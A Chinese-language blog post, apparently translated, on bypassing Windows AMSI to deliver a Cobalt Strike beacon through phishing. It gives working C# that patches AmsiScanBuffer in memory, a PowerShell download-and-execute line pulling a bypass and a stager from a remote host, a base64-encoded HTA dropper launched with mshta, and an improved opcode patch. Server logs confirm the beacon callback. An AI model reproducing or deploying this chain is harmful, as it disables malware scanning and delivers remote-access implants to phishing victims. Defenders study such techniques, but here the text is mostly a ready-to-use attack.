How To Bypass AMSI (二)
wing 渗透测试 10524浏览 · 2019-03-23 01:00

前言

ps:我觉得可以学习其中的思路,直接kill掉进程,找到AV的特征。

前面的部分我介绍了AmsiScanBuffer Bypass的思路,主要是修改了代码,避免被检测到。
在这篇文章中,我会介绍一种新的方法,结合Cobalt Strike / Empire /使用

Begin

我们有一下几个目标:

  • 通过网络钓鱼或者社工将恶意文件给到目标手里
  • 最好是什么呢?初始的payload尽量小,体积不要太大
  • Bypass AMSI
  • payload执行成功的话,拿到Beacon

对于攻击方法,我们使用可以执行powershell代码的HTA文件,这个文件负责执行Bypass AMSI部分的代码。

生成Stager

我们首先生成一个简单的stager,放在在Web服务器上,然后AMSI确实阻止了我们的payload运行。下载之后就会执行payload,所以得保证行为要符合我们的预期。

AMSI Bypass

对于AMSI Bypasspayload,我们将把C#源代码放到PowerShell脚本中,并使用Add-Type,在PowerShell会话中可以使用。

$Ref = (
"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"System.Runtime.InteropServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"
)

$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);
        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero) { return 1; }
            IntPtr ASBPtr = GetProcAddress(TargetDLL, "Amsi" + "Scan" + "Buffer");
            if (ASBPtr == IntPtr.Zero) { return 1; }
            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(ASBPtr, dwSize, 0x40, out Zero)) { return 1; }
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);
            return 0;
        }
    }
}
"@

Add-Type -ReferencedAssemblies $Ref -TypeDefinition $Source -Language CSharp

下载然后执行,看效果。

可以看一下伪代码:

execute bypass; if (bypass -eq "0") { execute stager }

bypass 返回1的话,就GG了。

HTA

要在HTA中执行PowerShell,我们可以对其进行base64编码,这样我们就不必担心转义字符啦。

$string = 'iex ((new-object net.webclient).downloadstring("http://192.168.214.129/amsi-bypass")); if([Bypass.AMSI]::Disable() -eq "0") { iex ((new-object net.webclient).downloadstring("http://192.168.214.129/stager")) }'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($string))

最终的HTA很小。

<script language="VBScript">
    Function var_func()
        Dim var_shell
        Set var_shell = CreateObject("Wscript.Shell")
        var_shell.run "powershell.exe -nop -w 1 -enc aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAGEAbQBzAGkALQBiAHkAcABhAHMAcwAiACkAKQA7ACAAaQBmACgAWwBCAHkAcABhAHMAcwAuAEEATQBTAEkAXQA6ADoARABpAHMAYQBiAGwAZQAoACkAIAAtAGUAcQAgACIAMAAiACkAIAB7ACAAaQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADQALgAxADIAOQAvAHMAdABhAGcAZQByACIAKQApACAAfQA=", 0, true
    End Function

    var_func
    self.close
</script>

测试,C:\Users\Rasta>mshta http://192.168.214.129/delivery.hta。

网络日志:

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /amsi-bypass
    page Serves /opt/cobaltstrike/uploads/AMSIBypass.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /stager
    page Serves /opt/cobaltstrike/uploads/stager.ps1
    null

10/31 11:22:44 visit from: 192.168.214.1
    Request: GET /__init.gif
    beacon beacon stager x64
    Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0)

代码我传到了Github

你如果读了前面的部分,就知道我都是在内存中pathingAMSI DLL,但是我在修改代码之前,探索一下其他的问题,这样有助于更好的理解。

Bypass Primer

我们可以使用API​​ Monitor正在发生的事件。

总结一下我观察到的:

  • powershell.exe启动然后amsi.dll加载到内存空间。
  • 我们在控制台中输入测试内容。
  • AmsiScanBuffer函数被调用。
  • 我们的输入被传递到第四处。

微软文档上的AmsiScanBuffer函数

HRESULT AmsiScanBuffer(
  HAMSICONTEXT amsiContext,
  PVOID        buffer,
  ULONG        length,
  LPCWSTR      contentName,
  HAMSISESSION amsiSession,
  AMSI_RESULT  *result
);

有一个buf的length,有一个result返回。为了可视化bypass过程,hook powershell

我会在AmsiScanBuffer函数上设置断点并在控制台中输入内容。

跟进到mov edi, r8d, CyberArk的文章中提到过,r8d包含buf length

二进制值

edi和r8d含有2c-十进制的44

我们的字符串"this is some garbage"是22个字符

改一下指令
更改mov edi, r8d为xor edi, edi
因为如果你xor两个相同的值,结果就是0.

然后运行脚本试试。

AmsiScanBuffer为0的话,就不会报毒。

AMSI_RESULT_CLEAN

我和Kuba Gretzky讨论的时候,他说

Bypass的风险部分是它使用了从函数一开始的固定偏移量AmsiScanBufferPtr + 0x001b。如果MS稍微修改AmsiScanBuffer功能,Bypass将导致崩溃。在函数的开头进行patch,直接返回空更合适一些。

我们看一下AMSI_RESULT之前被忽略的细节 - 因为可以返回不同的结果。

typedef enum AMSI_RESULT {
  AMSI_RESULT_CLEAN,
  AMSI_RESULT_NOT_DETECTED,
  AMSI_RESULT_BLOCKED_BY_ADMIN_START,
  AMSI_RESULT_BLOCKED_BY_ADMIN_END,
  AMSI_RESULT_DETECTED
} ;

我们试着去patch它。
重新看一下Binary Ninja中的AmsiScanBuffer函数,我们可以看到有一大堆指令后面是跟着条件跳转,但都是相同的地址:0x180024f5。

我们猜测的指令AMSI_RESULT_CLEAN其中的内容是mov eax, 0x80070057

最初的patch是

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

修改为

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

0xB8, 0x57, 0x00, 0x07, 0x80(十六进制)操作码在mov eax, 0x80070057;而且0xC3是一个retn。并注意没有偏移 - 我在修补函数中的前两个指令。
在我们执行这个补丁之前,我们可以在AmsiScanBuffer指针处验证前两个指令。

加上补丁之后,再执行一遍......

其余的指令变得有点含糊不清,但这并不重要。我们只是希望进入AmsiScanBuffer,设置eaxreturn


完美!

有人私信我问了我两个问题,和他们交流过程中我也很自豪。

无法成功运行

第一个问题看起来像这样:

看起来不知所以然,因为AMSI看起来已经被禁用了,但是为什么stage还是无法执行。
通过启动Process Explorer,我们可以看到我们的控制台所处的PowerShell进程(高灰色)。然后,当运行IEX时,会很快的在被杀死之前创建一个新的子PowerShell进程(以绿色突出显示)。

因为这个AMSI Bypass是按顺序进行的,所以这个新进程的amsi.dll完好无损,GG。它不会继承父进程,这显然是检测的原因。

接下来的问题是,为什么child会产生?
通过检查Process Explorer中的两个进程,我们看到子进程的路径是c:\Windows\SysWOW64\windowspowershell\v1.0\powershell.exe
父进程的路径C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
所以这是产生32位版本的64位的二进制文​​件。

最好的解释就是,我们是在64位进程中运行的32位stager。所以,这是你payload的问题。例如,Cobalt Strike Scripted Web Delivery默认创建一个32位stager(您甚至无法选择将其设置为64位)。因此,您必须确保无论使用哪个工具,都要可以创建64位有效负载。

crash

我发现这个更有趣。

第二个问题是由于内存损坏,PowerShell进程在Bypass时崩溃掉。只有在32位进程中运行时才会发生这种情况。

你可能使用了未修改前的代码。

Byte[] Patch = { 0x31, 0xff, 0x90 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
Marshal.Copy(Patch, 0, unmanagedPointer, 3);
MoveMemory(ASBPtr + 0x001b, unmanagedPointer, 3);

但是修改后兼容性更好一些

Byte[] Patch = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
IntPtr unmanagedPointer = Marshal.AllocHGlobal(6);
Marshal.Copy(Patch, 0, unmanagedPointer, 6);
MoveMemory(ASBPtr, unmanagedPointer, 6);

32位进程中运行很正常

我希望通过我这几篇文章,能让你有更多的思路。

原文链接

0 条评论
某人
表情
可输入 255